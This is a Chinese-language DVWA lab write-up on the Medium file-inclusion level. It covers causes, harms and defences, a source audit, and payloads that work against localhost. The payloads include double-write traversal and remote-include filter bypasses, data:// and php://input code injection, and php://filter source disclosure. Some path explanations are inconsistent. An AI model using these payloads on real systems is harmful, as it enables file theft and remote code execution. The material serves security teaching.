目錄
一、文件包含
1、原因
2、危害
3、防范措施
二、代碼審計(Medium級別)
1、滲透準備
(1)配置php.ini
(2)file1.php
(3)file2.php
(4)file3.php
2、源碼分析
(1)index.php
(2)include.php
(3)Medium.php
3、滲透思路
三、滲透實戰
1、訪問file4.php(成功)
2、訪問敏感文件win.ini(雙寫滲透成功)
3、獲取敏感信息hosts(雙寫滲透成功)
4、訪問phpinfo(雙寫滲透成功)
5、data偽協議(成功)
6、php://input偽協議(成功)
7、file偽協議(成功)
8、php://filter偽協議(成功)
9、遠程包含http協議(雙寫滲透成功)
本系列為通過《DVWA靶場通關筆記》的文件包含關卡(low,medium,high,impossible共4關)滲透集合,通過對相應關卡源碼的代碼審計找到講解滲透原理并進行滲透實踐,本文為文件包含Medium關卡的滲透部分。
一、文件包含
文件包含是一種嚴重的安全威脅,攻擊者可以通過構造惡意文件路徑,誘導服務器包含并執行惡意文件。
1、原因
文件包含安全風險的本質是程序在動態加載文件時,由于直接信任并使用了未經驗證的用戶輸入作為文件路徑參數,使得攻擊者能夠通過構造惡意路徑(如../../../etc/passwd或遠程URL)突破預期的文件訪問范圍,從而非法讀取敏感文件或執行任意代碼。具體原因如下所示。
分類 | 具體原因 | 描述 |
---|---|---|
程序設計缺陷 | 未驗證用戶輸入 | 開發者未對用戶提供的文件路徑參數進行嚴格過濾和驗證 |
動態包含機制 | 使用變量動態構建文件包含路徑,如include($_GET['page']) | |
配置問題 | PHP配置不當 | allow_url_include 和allow_url_fopen 設置為On |
服務器配置寬松 | Web服務器未設置適當的訪問權限限制 | |
開發習慣 | 使用相對路徑 | 依賴相對路徑包含文件,易受路徑遍歷攻擊 |
硬編碼不充分 | 未使用固定的基礎目錄限制文件包含范圍 |
2、危害
危害類型 | 詳細描述 |
---|---|
代碼執行 | 攻擊者可包含惡意 PHP 文件,執行任意代碼,如修改網站頁面內容、刪除重要文件、添加惡意腳本等,破壞網站的正常功能和數據。 |
數據泄露 | 通過包含敏感文件,如數據庫配置文件(包含數據庫用戶名、密碼等)、用戶信息文件等,獲取網站的敏感信息,導致數據泄露,危害用戶隱私和網站安全。 |
權限提升 | 利用文件包含安全風險,攻擊者可能獲取更高權限,如獲取系統管理員權限,進一步控制服務器,進行更惡意的操作,如安裝后門程序、篡改系統設置等。 |
網站掛馬 | 包含惡意腳本文件,在網站頁面中插入惡意代碼,當用戶訪問網站時,可能導致用戶計算機感染惡意軟件,或者將網站流量導向惡意網站,影響用戶體驗并可能造成用戶的損失。 |
破壞業務邏輯 | 包含惡意文件可能干擾網站的業務邏輯,如干擾用戶的身份驗證、支付流程等,導致業務流程被破壞,影響網站的正常運營。 |
3、防范措施
文件包含風險是一種嚴重的安全威脅,開發人員應高度重視并采取有效措施進行防范。
防范措施 | 具體描述 |
---|---|
嚴格的白名單驗證 | 建立嚴格的白名單,明確允許包含的文件列表。只允許特定的、經過安全評估的文件被包含,拒絕所有其他文件。 |
使用絕對路徑 | 在包含文件時,使用絕對路徑而不是相對路徑。這樣可以防止攻擊者通過目錄遍歷風險訪問到非預期的文件。 |
輸入驗證與過濾 | 對用戶輸入的文件名或文件路徑進行嚴格的驗證和過濾。去除任何可能包含目錄遍歷字符(如../ )或其他惡意字符的內容,防止攻擊者構造惡意路徑。 |
禁用危險函數或功能 | 根據應用程序的實際需求,禁用一些可能導致文件包含風險的危險函數,如eval() 、include_once() 等,如果必須使用,要確保對傳入參數進行嚴格檢查。 |
限制文件類型 | 明確規定允許包含的文件類型,只允許包含特定擴展名的文件,如.php 文件,避免包含其他可能包含惡意代碼的文件類型,如.txt 、.html 等,除非有特殊需求并進行了充分的安全評估。 |
服務器配置優化 | 確保服務器的配置正確,限制對文件系統的訪問權限。例如,將 Web 服務器的運行權限設置為盡可能低,只給予必要的文件和目錄讀寫權限,防止攻擊者利用文件包含風險進行越界訪問和操作。 |
安全更新與監控 | 及時更新服務器軟件和應用程序框架,以修復可能存在的文件包含風險。同時,建立監控機制,實時監測文件包含操作,發現異常行為及時報警并處理。 |
二、代碼審計(Medium級別)
1、滲透準備
配置security為中等Medium級別。
進入到文件包含關卡Medium頁面,發現頁面有三個鏈接,分別對應file1.php, file2.php, file3.php,具體如下所示。
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=include.php
(1)配置php.ini
因為源碼include.php會檢查 PHP 配置中的 allow_url_include
和 allow_url_fopen
,代碼確保了必要的功能已經啟用,否則舉例如果allow_url_include配置為off,會有如下報錯。
修改php.ini文件,開啟allow_url_include和allow_url_fopen,切記修改后需要重啟小皮的Apache服務,配置效果如下所示。
(2)file1.php
點擊file1.php效果如下,顯示當前登陸賬號和ip地址。
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file1.php
(3)file2.php
點擊file2.php效果如下,傳入參數為page=file2.php。
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file2.php
(4)file3.php
點擊file3.php效果如下,傳入參數為page=file3.php。
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file3.php
2、源碼分析
打開靶場的文件包含Medium關,完整URL地址如下所示。
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=include.php
(1)index.php
這段代碼的主要目的是展示不同安全級別下的文件包含風險。通過設置不同的安全級別,用戶可以觀察到不同防護措施下的文件包含行為。代碼的核心邏輯是根據用戶輸入動態包含文件,這在低安全級別下可能導致惡意文件的包含,從而引發安全問題。例如,攻擊者可以通過控制 $file 參數(指定不同級別的文件也就是low、medium、high和impossible對應的php文件),誘導服務器包含惡意腳本文件。
這段 PHP 代碼是一個用于演示文件包含風險的示例,主要功能是根據用戶設置的安全級別,包含并執行不同的 PHP 文件,同時處理用戶請求的文件包含操作。以下是代碼功能的詳細描述:
- 初始化和配置:
- 定義了一個常量 DVWA_WEB_PAGE_TO_ROOT,用于指定網站根目錄的相對路徑。
- 使用 require_once 引入了 dvwaPage.inc.php 文件,該文件包含了 DVWA 的頁面初始化和配置功能。
- 調用 dvwaPageStartup 函數,初始化頁面,確保用戶已認證,并根據配置加載 PHPIDS
- 頁面設置:
- 創建了一個 $page 數組,用于存儲頁面的標題、頁面 ID、幫助按鈕和源代碼按鈕等信息。
- 設置了頁面的標題為“Vulnerability: File Inclusion”,并根據 DVWA 的頁面結構添加了分隔符和主標題。
- 數據庫連接:
- 調用 dvwaDatabaseConnect 函數,連接到數據庫,為后續操作提供數據庫支持。
- 選擇不同級別文件:
- 根據 $_COOKIE['security'] 的值,選擇不同安全級別的文件:
- low:包含 low.php 文件。
- medium:包含 medium.php 文件。
- high:包含 high.php 文件。
- 默認:包含 impossible.php 文件。
- 這些文件分別實現了不同安全級別下的文件包含邏輯。
- 根據 $_COOKIE['security'] 的值,選擇不同安全級別的文件:
- 文件包含邏輯:
- 如果 $_GET 中存在 $file 參數(代碼中注釋掉了 $_GET 的檢查,實際使用中應檢查 $_GET['file']),則包含用戶指定的文件。
- 如果沒有指定文件,則重定向到 include.php 頁面。
- 頁面渲染:
- 調用 dvwaHtmlEcho 函數,渲染并輸出頁面內容。
(2)include.php
這段 PHP 代碼是一個用于演示文件包含關卡的示例頁面,屬于 DVWA(Damn Vulnerable Web Application)項目的一部分。其主要功能是檢查 PHP 配置中的相關功能是否啟用,并提供一個簡單的用戶界面,允許用戶通過 URL 參數動態包含文件。以下是代碼功能的詳細描述:
- 檢查 PHP 配置:
- 檢查 allow_url_include 是否啟用:該配置項允許 PHP 的 include 和 require 函數包含遠程文件。如果未啟用,會生成一個警告信息。
- 檢查 allow_url_fopen 是否啟用:該配置項允許 PHP 打開遠程文件。如果未啟用,也會生成一個警告信息。
- 生成警告信息:
- 如果上述任何一個配置項未啟用,會生成相應的警告信息,并將其存儲在 $WarningHtml 變量中。
- 頁面內容構建:
- 構建頁面的 HTML 內容,包括:
- 一個標題,顯示“Vulnerability: File Inclusion”。
- 顯示警告信息(如果有的話)。
- 提供三個可點擊的鏈接,分別指向 file1.php、file2.php 和 file3.php,允許用戶通過 URL 參數動態包含這些文件。
- 提供一些關于文件包含額外信息鏈接,包括維基百科的遠程文件包含頁面和 OWASP Top 10 2007 的相關頁面。
- 構建頁面的 HTML 內容,包括:
這段代碼的主要目的是展示文件包含的基本原理和潛在風險。通過檢查 PHP 配置中的 allow_url_include 和 allow_url_fopen,代碼確保了必要的功能已經啟用,從而可以進行文件包含操作。如果這些配置項未啟用,用戶將看到警告信息,提示他們需要啟用這些功能才能正常運行代碼。
(3)Medium.php
進入DVWA靶場源目錄,找到Medium.php源碼。
打開源碼Medium.php,分析可知這段代碼實現了僅有簡單驗證的不安全的文件包含功能,參數為page,如下所示。
這段 PHP 代碼的目的是從用戶輸入中獲取一個文件路徑,并對其進行簡單的驗證,以防止某些類型的文件包含攻擊。以下是代碼功能的詳細描述:
- 獲取用戶輸入:
- 從 $_GET['page'] 中獲取用戶指定的文件路徑。這個值將用于后續的文件包含操作。
- 輸入驗證:
- 使用 str_replace 函數移除字符串中的 http:// 和 https://。這是為了防止攻擊者通過包含遠程文件(如 http://malicious.com/badfile.php)來執行惡意代碼。
- 使用 str_replace 函數移除字符串中的 ../ 和 ..\"。這是為了防止目錄遍歷攻擊,即攻擊者通過包含上級目錄的文件(如 ../config.php)來獲取敏感信息。
這段代碼的主要功能是對用戶輸入的文件路徑進行簡單的清理,以減少文件包含攻擊的風險。然而,這種清理方式并不足以完全防止文件包含風險。攻擊者仍然可以通過其他方式繞過這些簡單的過濾措施。例如,攻擊者可以使用其他協議(如 file://
)或編碼方式來繞過過濾。
<?php
// The page we wish to display
$file = $_GET['page']; // 從 GET 請求中獲取 'page' 參數的值,該值將用于指定要包含的文件。
// Input validation
$file = str_replace(array("http://", "https://"), "", $file); // 移除字符串中的 "http://" 和 "https://",防止包含遠程文件。
$file = str_replace(array("../", "..\""), "", $file); // 移除字符串中的 "../" 和 "..\",防止目錄遍歷攻擊。
// 代碼中缺少文件包含的部分,例如:
// include($file); // 假設這里會包含用戶指定的文件。
?>
3、滲透思路
這段PHP代碼實現了一個存在安全風險的動態文件包含功能,通過$_GET['page']
接收用戶輸入的文件名,并嘗試包含該文件。雖然代碼使用str_replace()
過濾了"http://"、"https://"和路徑遍歷字符("../", "..")來防止遠程文件包含(RFI)和目錄遍歷攻擊(LFI),但這種過濾方式并不安全,容易通過大小寫變異、雙重編碼或特殊字符組合等方式繞過。
- 過濾“http:// 和 https://”,雙寫繞過:“hhttp://ttp://”和“hhttps://ttps://”
- 過濾了“../ 和 ..\” ,雙寫繞過:“..././”和“. ..\.\”
三、滲透實戰
1、訪問file4.php(成功)
進入DVWA靶場的文件包含關卡low級別,基于滲透準備中測試了page為file1.php, file2.php, file3.php, 我們嘗試將關卡首頁,將page參數改為file4.php,如下所示。
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file1.php
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file2.php
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file3.php
完整的URL地址如下所示。
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file4.php
如下所示,顯示了隱藏內容,提示用戶名為admin,安全級別為Medium。
2、訪問敏感文件win.ini(雙寫滲透成功)
黑客計劃訪問win.ini文件,默認他的位置為c://windows/win.ini。
而當前關卡文件包含index.php源碼位置為C:\phpstudy_pro\WWW\DVWA\vulnerabilities\fi\。
故而win.ini相對于low.php的路徑為../../../../../../windows/win.ini,基于此文件包含的路徑如下所示。
page=../../../../../../windows/win.ini
完整的滲透URL地址如下所示。
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=../../../../../../windows/win.ini
使用“..././”替換“../”,完整滲透URL如下所示。
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=..././..././..././..././..././..././windows/win.ini
如下所示成功訪問到win.ini文件,滲透成功。?
3、獲取敏感信息hosts(雙寫滲透成功)
接下來將page改為../../../../../../windows/system32/drivers/etc/hosts進行滲透,基于此文件包含的路徑如下所示。
page =../../../../../../windows/system32/drivers/etc/hosts進行滲透
完整的滲透URL地址如下所示。
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../../../windows/system32/drivers/etc/hosts
使用“..././”替換“../”,完整滲透URL如下所示。
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=..././..././..././..././..././..././windows/system32/drivers/etc/hosts
如下所示,成功訪問到c:// windows/system32/drivers/etc/hosts文件,滲透成功。
4、訪問phpinfo(雙寫滲透成功)
在DVWA首頁有訪問phpinfo的鏈接,如下圖紅框所示。
此時的URL地址為http://127.0.0.1/dvwa/phpinfo.php,這說明DVWA靶場的根目錄中包含phpinfo.php文件。
http://127.0.0.1/dvwa/phpinfo.php
在C:\phpstudy_pro\WWW\中復制phpinfo.php文件,重命名為phpinfo.txt如下圖紅框所示。
?
而當前關卡index.php的源碼位置為C:\phpstudy_pro\WWW\DVWA\vulnerabilities\fi\。
故而phpinfo.txt相對于low.php的路徑為../../../../../../windows/win.ini,基于此文件包含的路徑如下所示。
page=../../../phpinfo. txt
完整的滲透URL地址如下所示。
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=../../phpinfo. txt
使用“..././”替換“../”,完整滲透URL如下所示。
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=..././..././phpinfo.txt
?如下所示,成功獲取到服務器的php相關信息,滲透成功。
??
5、data偽協議(成功)
通過data偽協議進行滲透,特別注意參數傳遞方法為GET方法。
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=data://,<?php phpinfo();?>
?如下所示,成功通過data偽協議獲取到服務器的phpinfo信息。?
?
6、php://input偽協議(成功)
通過php://input偽協議進行滲透,特別注意參數傳遞方法為POST方法。
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=php://input
Post參數:<?php phpinfo();?>
?如下所示,成功通過php://input偽協議獲取到服務器的phpinfo信息。
?
7、file偽協議(成功)
通過file偽協議獲取C:\Windows\System32\drivers\etc\hosts,需要使用文件絕對路徑,如下所示。
file:///C:\Windows\System32\drivers\etc\hosts
完整URL地址如下所示,參數為page。
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///C:\Windows\System32\drivers\etc\hosts
?如下所示,成功通過file偽協議獲取到C:\Windows\System32\drivers\etc\hosts文件的內容。?
?
8、php://filter偽協議(成功)
通過php://filter協議獲取源碼文件medium.php,使用base64編碼的方法來獲取,具體的方法為php://filter/read=convert.base64-encode/resource=source/medium.php,完整URL地址如下所示。
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=source/medium.php
如下所示,通過php://filter協議獲取medium.php源碼成功,頁面成功顯示medium.php的base64編碼。
base64加密后內容如下所示。
PD9waHANCg0KLy8gVGhlIHBhZ2Ugd2Ugd2lzaCB0byBkaXNwbGF5DQokZmlsZSA9ICRfR0VUWyAncGFnZScgXTsNCg0KLy8gSW5wdXQgdmFsaWRhdGlvbg0KJGZpbGUgPSBzdHJfcmVwbGFjZSggYXJyYXkoICJodHRwOi8vIiwgImh0dHBzOi8vIiApLCAiIiwgJGZpbGUgKTsNCiRmaWxlID0gc3RyX3JlcGxhY2UoIGFycmF5KCAiLi4vIiwgIi4uXCIiICksICIiLCAkZmlsZSApOw0KDQo
使用在線base64解碼工具,如下所示。
?
9、遠程包含http協議(雙寫滲透成功)
在3.4部分我們創建的phpinfo.txt放在DVWA靶場的目錄中,故而其URL地址如下所示。
http://127.0.0.1/DVWA/phpinfo.txt
使用http協議進行遠程文件包含,完整的滲透URL地址如下所示。?
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://127.0.0.1/pikachu/test/phpinfo.txt
使用雙寫法“hhttp://ttp://”替換“http://”,滲透URL地址變為如下所示。
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=hhttp://ttp://127.0.0.1/pikachu/test/phpinfo.txt
如下所示,通過遠程包含滲透成功。
?